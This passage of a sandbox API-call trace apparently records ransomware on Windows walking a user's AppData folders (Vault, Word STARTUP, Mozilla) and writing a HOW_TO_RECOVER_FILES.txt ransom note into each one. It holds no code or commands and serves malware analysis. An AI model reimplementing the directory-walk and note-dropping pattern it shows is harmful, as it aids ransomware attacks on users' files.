lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0258.550] CloseHandle (hObject=0x8a8) returned 1 [0258.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault", lpFilePart=0x0) returned 0x2f [0258.550] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0258.551] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.551] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.551] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0258.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.551] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault", lpFilePart=0x0) returned 0x2f [0258.551] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0258.552] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.552] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.552] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0258.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.552] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0258.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0258.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\vault\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.553] GetFileType (hFile=0x8a8) returned 0x1 [0258.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0258.553] GetFileType (hFile=0x8a8) returned 0x1 [0258.553] WriteFile (in: hFile=0x8a8, lpBuffer=0x3762448*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3762448*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0258.554] CloseHandle (hObject=0x8a8) returned 1 [0258.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.554] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x2e [0258.554] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0258.554] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.554] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0258.555] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0258.555] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0258.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x2e [0258.555] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0258.555] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.556] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0258.556] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.556] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0258.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0258.556] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x36 [0258.556] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0258.557] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.557] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.557] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0258.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0258.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0258.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0258.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x36 [0258.557] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0258.557] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.558] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.558] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0258.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0258.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0258.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0258.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0258.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\word\\startup\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.559] GetFileType (hFile=0x8a8) returned 0x1 [0258.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0258.559] GetFileType (hFile=0x8a8) returned 0x1 [0258.559] WriteFile (in: hFile=0x8a8, lpBuffer=0x3781258*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3781258*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0258.560] CloseHandle (hObject=0x8a8) returned 1 [0258.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0258.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0258.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\word\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.560] GetFileType (hFile=0x8a8) returned 0x1 [0258.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0258.560] GetFileType (hFile=0x8a8) returned 0x1 [0258.561] WriteFile (in: hFile=0x8a8, lpBuffer=0x3784ac0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3784ac0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0258.561] CloseHandle (hObject=0x8a8) returned 1 [0258.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ed470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0258.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ed990) returned 1 [0258.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.562] GetFileType (hFile=0x8a8) returned 0x1 [0258.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed900) returned 1 [0258.562] GetFileType (hFile=0x8a8) returned 0x1 [0258.563] WriteFile (in: hFile=0x8a8, lpBuffer=0x3788318*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eda58, lpOverlapped=0x0 | out: lpBuffer=0x3788318*, lpNumberOfBytesWritten=0x204eda58*=0x5d0, lpOverlapped=0x0) returned 1 [0258.563] CloseHandle (hObject=0x8a8) returned 1 [0258.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0258.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla", lpFilePart=0x0) returned 0x27 [0258.563] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0258.564] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.564] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0258.564] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0258.564] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 0 [0258.564] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0258.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0258.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0258.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0258.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla", lpFilePart=0x0) returned 0x27 [0258.565] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0258.565] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.565] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0258.565] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, 